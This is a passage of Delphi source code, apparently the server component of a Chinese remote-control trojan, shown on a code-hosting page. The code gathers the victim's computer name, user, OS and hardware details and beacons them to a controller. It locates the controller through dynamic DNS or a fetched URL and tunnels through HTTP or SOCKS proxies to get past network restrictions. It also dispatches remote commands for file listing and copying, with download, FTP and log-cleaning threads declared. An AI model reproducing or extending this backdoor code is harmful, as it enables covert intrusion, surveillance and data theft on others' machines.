📄 mainserver.pas
字号:
Reg:TRegistry;
ProxyStr: TProxyServerInf;
begin
try
if Peizhi.ClientIm<25 then Peizhi.ClientIm:=25;
if Peizhi.Group='' then Peizhi.Group:='自动上线主机';
Temp:=Temp+'<GR>'+Peizhi.Group+'</GR>';
Temp:=Temp+'<IM>'+InttoStr(Peizhi.ClientIm)+'</IM>';
Temp:=Temp+'<NA>'+computername+'</NA>';
Temp:=Temp+'<CS>'+Currentuser+'</CS>';
Temp:=Temp+'<OS>'+GetOSName(GetOSVersion)+'</OS>';
Temp:=Temp+'<CPU>'+Format('%f MHz', [GetCPUSpeed])+'</CPU>';
Temp:=Temp+'<MEM>'+Phymemery+'</MEM>';
try
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
if not Reg.KeyExists('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup') then
Reg.CreateKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup');
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup',True);
Bz:=Reg.ReadString('Beizhu');
if Bz<>'' then Peizhi.Beizhu:=Bz;
Reg.CloseKey;
Reg.Free;
except
end;
if GetDefaultProxyServer(ProxyStr) then
Peizhi.Beizhu:='(Proxy)'+Peizhi.Beizhu;
Temp:=Temp+'<BZ>'+Peizhi.Beizhu+'</BZ>';
SendStreamToClient(IdTCPOnline,'000',Temp);
except
end;
end;
function TH_GZVIP2004.HTTPtoIpPort(i:integer;S:string):Boolean;
var
Temp:String;
j,Tmpport:integer;
begin
try
Result:=False;
case i of
0: begin {DNS解析域名}
RpcAdder:=S;
if Peizhi.Port=0 then Peizhi.Port:=5022;
RpcPort:=Peizhi.Port;
end;
1: begin
//showmessage(S);
// try
Temp:=lowercase(IdHTTP1.Get(S)); {读取域名}
//showmessage(Temp);
IdHTTP1.Disconnect;
// except
//showmessage('ERR Get'+Temp);
// end;
RpcAdder:=CenterStr(Temp,'http://huigezi','end');
//showmessage(RpcAdder);
j:=pos(':',RpcAdder);
if j>0 then
begin
Tmpport:=5022;
try
Tmpport:=StrtoInt(Copy(RpcAdder,j+1,Length(RpcAdder)));
except
Tmpport:=5022;
end;
RpcPort:=Tmpport;
RpcAdder:=Copy(RpcAdder,1,j-1);
end else
begin
RpcPort:=5022;
end;
end;
end;
if (RpcAdder<>'') and (RpcAdder<>'0.0.0.0') then
begin
if ConRpcport(IdTCPOnline) then
begin
//showmessage('CreateHttpConnection');
HttpConokSend;
ClientHandleThread:=TClientHandleThread.Create;
ClientOnlineThread:=TClientOnlineThread.Create;
Result:=True;
Exit;
end;
end;
except
end;
end;
procedure TH_GZVIP2004.AutoToClient;
var
i:integer;
Temp:string;
ProxyStr: TProxyServerInf;
begin
if Peizhi.Dnsym<>'' then
begin
try
HostToIp('www.163.com',Temp);
if HostToIp(Peizhi.Dnsym,RpcAdder) then //动态域名解析//
begin
if HTTPtoIpPort(0,RpcAdder) then
begin
Exit;
end else
begin
IdTCPOnline.Disconnect;
IdTCPClient1.Disconnect;
IdTCPVfw.Disconnect;
end;
end;
except
end;
end;
try
if GetDefaultProxyServer(ProxyStr) then //本地设置了代理服务器//
begin
if ProxyStr.httpName<>'' then //进行http隧道连接
begin
IdHTTP1.IOHandler:=nil;
IdHTTP1.ProxyParams.ProxyServer:=ProxyStr.httpName;
IdHTTP1.ProxyParams.ProxyPort:=ProxyStr.httpport;
if Peizhi.Urlhttp<>'' then
begin
if HTTPtoIpPort(1,Peizhi.Urlhttp) then
begin
Exit;
end else
begin
IdTCPOnline.Disconnect;
IdTCPClient1.Disconnect;
IdTCPVfw.Disconnect;
end;
end;
if Peizhi.httpwj<>'' then
begin
if HTTPtoIpPort(1,Peizhi.httpwj) then
begin
Exit;
end else
begin
IdTCPOnline.Disconnect;
IdTCPClient1.Disconnect;
IdTCPVfw.Disconnect;
end;
end;
end;
if ProxyStr.SocksName <>'' then //Socks代理连接
begin
IdHTTP1.ProxyParams.ProxyServer:='';
IdHTTP1.ProxyParams.ProxyPort:=0;
IdHTTP1.IOHandler:=IdIOHandlerSocket1;
IdSocksInfo1.Host := ProxyStr.SocksName;
IdSocksInfo1.Port := ProxyStr.Socksport;
IdSocksInfo1.Version := svSocks5;
if Peizhi.Urlhttp<>'' then
begin
if HTTPtoIpPort(1,Peizhi.Urlhttp) then
begin
Exit;
end else
begin
IdTCPOnline.Disconnect;
IdTCPClient1.Disconnect;
IdTCPVfw.Disconnect;
end;
end;
if Peizhi.httpwj<>'' then
begin
if HTTPtoIpPort(1,Peizhi.httpwj) then
begin
Exit;
end else
begin
IdTCPOnline.Disconnect;
IdTCPClient1.Disconnect;
IdTCPVfw.Disconnect;
end;
end;
end;
end else begin //没有设置代理,正确连接客户端//
IdHTTP1.IOHandler:=nil;
IdHTTP1.ProxyParams.ProxyServer:='';
IdHTTP1.ProxyParams.ProxyPort:=0;
if Peizhi.Urlhttp<>'' then
begin
if HTTPtoIpPort(1,Peizhi.Urlhttp) then
begin
Exit;
end else
begin
IdTCPOnline.Disconnect;
IdTCPClient1.Disconnect;
IdTCPVfw.Disconnect;
end;
end;
if Peizhi.httpwj<>'' then
begin
if HTTPtoIpPort(1,Peizhi.httpwj) then
begin
Exit;
end else
begin
IdTCPOnline.Disconnect;
IdTCPClient1.Disconnect;
IdTCPVfw.Disconnect;
end;
end;
end;
except
end;
end;
procedure TH_GZVIP2004.Timer1Timer(Sender: TObject);
begin
Timer1.Interval :=50000;
try
if not IdTCPOnline.Connected then
begin
//
AutoToClient;
end;
except
end;
end;
function TH_GZVIP2004.ConRpcport(BThread: TIdTCPClient):Boolean;
var
ProxyStr: TProxyServerInf;
Request:String;
begin
try
if GetDefaultProxyServer(ProxyStr) then {本地设置了代理服务器}
begin
//ProxyStr.httpName:='127.0.0.1';
//ProxyStr.httpport :=8080;
if ProxyStr.SocksName <>'' then //Socks代理连接
begin
try
BThread.Disconnect;
BThread.Host:=ProxyStr.SocksName;
BThread.Port:=ProxyStr.Socksport; // RpcAdder RWenjian
BThread.Connect;
if BThread.Connected then
begin
if CreateIDTCPConnection(BThread.Socket,'','',RpcAdder,RpcPort) then
begin
Result:=True;
Exit;
end;
end;
except
end;
end;
if ProxyStr.httpName<>'' then
begin
try
BThread.Disconnect;
BThread.Host:=ProxyStr.httpName;
BThread.Port:=ProxyStr.httpport;
BThread.Connect;
// if RpcPort=80 then
// Request:='CONNECT '+RpcAdder+' HTTP/1.1'+EOL
// else
Request:='CONNECT '+RpcAdder+':'+InttoStr(RpcPort)+' HTTP/1.1'+EOL;
Request:=Request+'Accept: */*'+EOL;
Request:=Request+'Content-Type: text/html'+EOL; // #$d#$a#$d#$a
Request:=Request+'Proxy-Connection: Keep-Alive'+EOL;
Request:=Request+'Content-length: 0'+EOL;
BThread.WriteLn(Request+EOL);
Request:='';
Request:=BThread.ReadLn(EOL);
//Memo1.Lines.Add(Request);
if (UpperCase(copy(Request,1,12))=UpperCase('HTTP/1.0 200'))
or (UpperCase(copy(Request,1,12))=UpperCase('HTTP/1.1 200')) then //http服务器可用
begin
Result:=True;
Exit;
end;
except
end;
end;
if BThread.Connected=False then
begin
BThread.Disconnect;
BThread.Host:=RpcAdder;
BThread.Port:=RpcPort;
BThread.Connect;
if BThread.Connected then
begin
Request:=BThread.ReadLn(EOL);
Result:=True;
end;
end;
end else begin
BThread.Disconnect;
BThread.Host:=RpcAdder;
BThread.Port:=RpcPort;
BThread.Connect;
if BThread.Connected then
begin
Request:=BThread.ReadLn(EOL);
Result:=True;
end;
end;
except
Result:=False;
end;
end;
function TH_GZVIP2004.GetServicesInfo:string; //Get the services info
var
tmpDisplayList: TStrings;
i:integer;
tmpStr:String;
Temp:String;
begin
tmpDisplayList := TStringList.Create;
ServiceGetList('',SERVICE_WIN32, SERVICE_STATE_ALL, tmpDisplayList );
for i:=0 to tmpDisplayList.Count -1 do
begin
tmpStr:=ServiceGetKeyName('',tmpDisplayList[i]);
Temp:=Temp+tmpDisplayList[i]+'|'+ServiceGetKeyName('',tmpDisplayList[i]);
if (ServiceStopped('',tmpStr)) then
begin
Temp:=Temp+'|0'+#13;
end
else
begin
Temp:=Temp+'|1'+#13; //已启用
end;
end;
tmpDisplayList.free;
Result := Temp;
end;
function WinisNT :Bool;
var osvi:OSVERSIONINFO;
begin
osvi.dwOSVersionInfoSize :=sizeof(osversioninfo);;
getversionex(osvi);
if osvi.dwPlatformId=VER_PLATFORM_WIN32_NT then
Result:=True
else
Result:=False;
end;
procedure TH_GZVIP2004.SendStreamToClient(AThread: TIdTCPClient;Cmd,TempStr:String);
var
MyStream: TMemoryStream;
i:integer;
begin
Try
MyStream:=TMemoryStream.Create;
Cmd:=EncodeBase64(Cmd);
AThread.Write(Cmd+EOL);
TempStr:=EncodeBase64(TempStr);
MyStream.Write(TempStr[1],Length(TempStr));
MyStream.Position:=0;
i:=MyStream.size;
AThread.WriteInteger(i);
AThread.WriteStream(MyStream);
MyStream.Free;
Except
AThread.Disconnect;
end;
end;
procedure TH_GZVIP2004.ZhiXingCmd(var StrTmpList:TStringList);
var
i,j,NumRead: integer;
Temp: string;
Path1,path2,path3,path4,path5,path6:string;
ThePID:Cardinal;
RsFileS: TFileStream;
Reg: TRegistry;
TheKeyNames: TStringList;
TempList:TStringList;
toolong: boolean;
bufsize, lineofbuf: integer;
buf2: array[1..64] of int64;
hDesktop:THandle;
Dlg:TDlgshowThread;
DomnFile:TDownFileThread;
ClsLog:TCleanerLogThread;
FTPTemp:TFtpThread;
H:THandle;
II:DWord;
Request:String;
TheFListStream:TStringStream;
DownLoadThread:TDownLoadThread;
FromF: file of byte;
Buf: array[1..32768] of byte;
begin
try
{------------------------------------}
if StrTmpList[1]='002' then {路径列表}
begin
Request:=FindFile(StrTmpList[2]);
SendStreamToClient(IdTCPClient1,'002',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='003' then {粘贴文件}
begin
try
for j:=StrTmpList.Count-1 downto 3 do
begin
try
Path1:=StrTmpList[2];
Path2:=StrTmpList[j];
if Copy(StrTmpList[j],length(StrTmpList[j]),1)='\' then
begin
if DirectoryExists(StrTmpList[j]) then
begin
Delete(Path2,Length(Path2),1);
Temp:=Path1+GetFileName(Path2);
Path2:=StrTmpList[j];
Path1:=Temp+'\';
I:=0;
while DirectoryExists(Path1) do
begin
inc(i);
Path1 := GetFilepath(Temp) + '复件(' + inttoStr(i) + ')' + GetFileName(Temp)+'\';
end;
DoCopyDir(Path2,Path1);
end;
end
else begin
if FIleExists(StrTmpList[j]) then
begin
Path1:=StrTmpList[2];
Path2:=StrTmpList[j];
Path1:=Path1+GetFileName(Path2);
i:=0;
Temp:=Path1;
while FileExists(Path1) do
begin
inc(i);
Path1 := GetFilepath(Temp) + '复件(' + inttoStr(i) + ')' + GetFileName(Temp);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -